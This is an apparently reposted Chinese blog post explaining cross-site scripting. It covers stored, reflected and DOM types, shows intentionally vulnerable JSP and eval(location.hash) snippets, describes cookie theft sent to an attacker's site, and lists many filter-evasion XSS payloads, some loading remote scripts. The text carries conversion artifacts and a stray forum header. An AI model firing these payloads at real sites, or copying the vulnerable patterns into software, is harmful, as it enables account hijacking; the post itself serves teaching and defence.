什么是XSS?javascript
跨站脚本攻击(Cross Site Scripting):攻击者往Web页面里插入恶意脚本,当用户浏览该页面时,嵌入页面的脚本代码会被执行,从而达到恶意攻击用户的特殊目的。恶意的内容一般须要以一段JavaScript的形式发送到浏览器,但也可能包括HTML、Flash,或任何其余类型的浏览器能够执行的代码php
XSS的危害一般包括传输私有数据,像cookie或session信息;重定向受害者看到的内容;或在用户的机器上进行恶意操做。css
XSS攻击发生的缘由:html
下面博文中有部分是从其余博客中摘取,有部分是从OWASP中翻译,最后整合在一块儿造成这篇博客,若是以为还不错,就关注我吧。java
把用户输入的数据(好比恶意的js代码)存储在服务器端,具备很强的稳定性,危害时间长,每次用户读取这段数据时都会执行一次,因此受害者是不少人。web
最典型的攻击场景就是留言板。数据库
其攻击过程以下:浏览器
反射攻击是经过另外一种方式攻击受害者,好比在一封电子邮件。当用户点击了一个恶意连接,将会提交一个特殊的表单,或者仅仅只是浏览恶意网站,注入的代码将反射到攻击用户的浏览器安全
最典型的攻击场景就是给个恶意连接让你去点。服务器
其攻击过程以下:
嵌入到URL中的恶意脚本在Alice的浏览器中执行,就像它直接来自Bob的服务器同样。此脚本盗窃敏感信息(受权、信用卡、账号信息等)而后在Alice彻底不知情的状况下将这些信息发送到Charly的Web站点。
这种不是按照存储在哪里来划分的,能够说是反射型的一种,因为历史缘由,归为一类,经过改变DOM结构造成的XSS称之为DOM Based。
<% String eid = request.getParameter("eid"); %> ... Employee ID: <%= eid %>
jsp页面中,咱们可能会像上面那样写。
最初这彷佛不可能出现的漏洞,由于攻击者不可能用来输入一段而已的代码而后攻击本身的电脑,致使恶意代码运行在本身的电脑。但真正的危险是,攻击者将建立恶意URL,而后使用电子邮件或社会工程学技巧来吸引受害者访问的URL连接。受害者点击连接时,无心中反映了恶意的内容经过脆弱的web应用程序回本身的电脑。这个机制称为反射型XSS攻击
当我登陆a.com后,我发现它的页面某些内容是根据url中的一个叫eid的参数直接显示的。 我知道了Tom也注册了该网站,而且知道了他的邮箱(或者其它能接收信息的联系方式),我作一个超连接发给他,超连接地址为:http://www.a.com?eid=,当Tom点击这个连接的时候(假设他已经登陆a.com),浏览器就会直接打开b.com,而且把Tom在a.com中的cookie信息发送到b.com,b.com是我搭建的网站,当个人网站接收到该信息时,我就盗取了Tom在a.com的cookie信息,cookie信息中可能存有登陆密码,攻击成功!这个过程当中,受害者只有Tom本身。
<%... Statement stmt = conn.createStatement(); ResultSet rs = stmt.executeQuery("select * from emp where id="+eid); if (rs != null) { rs.next(); String name = rs.getString("name"); %> Employee Name: <%= name %>
这段代码功能是显示名字,但这并无阻止被利用。这段代码相对上一种而言危险更小,由于名字是读取数据库的值。然而,若是名字来源于用户提供的输入,那么数据库能够为恶意内容的一个渠道。没有适当的输入验证数据就存储在数据库中,攻击者能够在用户的web浏览器中执行恶意命令,也就是存储型XSS攻击。
a.com能够发文章,我登陆后在a.com中发布了一篇文章,文章中包含了恶意代码,,保存文章。这时Tom和Jack看到了我发布的文章,当在查看个人文章时就都中招了,他们的cookie信息都发送到了个人服务器上,攻击成功
http://www.a.com/xss/domxss.html
页面中代码以下:
<script> eval(location.hash.substr(1)); </script>
触发方式为:http://www.a.com/xss/domxss.html#alert(1)
XSS漏洞很难被识别或从一个web应用程序删除。发现缺陷的最好方法是进行代码的安全审查和搜索全部从HTTP请求输入且有可能使其输出到页面的代码,并对这些代码进行相应的处理。
注意,可使用各类不一样的HTML标记传输恶意JavaScript。Nessus Nikto,和其余一些可用的工具能够帮助扫描一个网站的这些缺陷,但却只是完成表面功夫。若是一个网站的某一部分是脆弱的,那么极有可能还有其余问题。
将在下一篇博客中写出
下面的清单是网上比较流行的攻击方案, 我摘取了部分。
咱们从中能够看到多种多样的攻击方式,所以要防护XSS攻击须要考虑不少种状况。
(1)普通的XSS JavaScript注入 <SCRIPT SRC=http://3w.org/XSS/xss.js></SCRIPT> (2)IMG标签XSS使用JavaScript命令 <SCRIPT SRC=http://3w.org/XSS/xss.js></SCRIPT> (3)IMG标签无分号无引号 <IMG SRC=javascript:alert(‘XSS’)> (4)IMG标签大小写不敏感 <IMG SRC=JaVaScRiPt:alert(‘XSS’)> (5)HTML编码(必须有分号) <IMG SRC=javascript:alert(“XSS”)> (11)嵌入式标签,将Javascript分开 <IMG SRC=”jav ascript:alert(‘XSS’);”> (12)嵌入式编码标签,将Javascript分开 <IMG SRC=”jav ascript:alert(‘XSS’);”> (13)嵌入式换行符 <IMG SRC=”jav ascript:alert(‘XSS’);”> (14)嵌入式回车 <IMG SRC=”jav ascript:alert(‘XSS’);”> (15)嵌入式多行注入JavaScript,这是XSS极端的例子 <IMG SRC=”javascript:alert(‘XSS‘)”> (23)双开括号 <<SCRIPT>alert(“XSS”);//<</SCRIPT> (24)无结束脚本标记(仅火狐等浏览器) <SCRIPT SRC=http://3w.org/XSS/xss.js?<B> (26)半开的HTML/JavaScript XSS <IMG SRC=”javascript:alert(‘XSS’)” (27)双开角括号 <iframe src=http://3w.org/XSS.html < (28)无单引号 双引号 分号 <SCRIPT>a=/XSS/ alert(a.source)</SCRIPT> (29)换码过滤的JavaScript \”;alert(‘XSS’);// (37)STYLE sheet <LINK REL=”stylesheet” HREF=”javascript:alert(‘XSS’);”> (38)远程样式表 <LINK REL=”stylesheet” HREF=”http://3w.org/xss.css”> (39)List-style-image(列表式) <STYLE>li {list-style-image: url(“javascript:alert(‘XSS’)”);}</STYLE><UL><LI>XSS (41)META连接url <META HTTP-EQUIV=”refresh” CONTENT=”0; URL=http://;URL=javascript:alert(‘XSS’);”> (42)Iframe <IFRAME SRC=”javascript:alert(‘XSS’);”></IFRAME> (43)Frame <FRAMESET><FRAME SRC=”javascript:alert(‘XSS’);”></FRAMESET>12-7-1 T00LS - Powered by Discuz! Board https://www.t00ls.net/viewthread.php?action=printable&tid=15267 3/6 (44)Table <TABLE BACKGROUND=”javascript:alert(‘XSS’)”> (45)TD <TABLE><TD BACKGROUND=”javascript:alert(‘XSS’)”> (46)DIV background-image <DIV STYLE=”background-image: url(javascript:alert(‘XSS’))”> (51)STYLE background-image <STYLE>.XSS{background-image:url(“javascript:alert(‘XSS’)”);}</STYLE><A CLASS=XSS></A> (53)STYLE background <STYLE><STYLE type=”text/css”>BODY{background:url(“javascript:alert(‘XSS’)”)}</STYLE> (54)BASE <BASE HREF=”javascript:alert(‘XSS’);//”> (55)EMBED标签,你能够嵌入FLASH,其中包涵XSS <EMBED SRC=”http://3w.org/XSS/xss.swf” ></EMBED> (56)在flash中使用ActionScrpt能够混进你XSS的代码 a=”get”; b=”URL(\”"; c=”javascript:”; d=”alert(‘XSS’);\”)”; eval_r(a+b+c+d); (58)若是过滤了你的JS你能够在图片里添加JS代码来利用 <SCRIPT SRC=””></SCRIPT> (59)IMG嵌入式命令,可执行任意命令 <IMG SRC=”http://www.XXX.com/a.php?a=b”>
转载注明出处:http://blog.bensonlin.me/post/xss-overview 或 http://www.cnblogs.com/lzb1096101803/p/5770087.html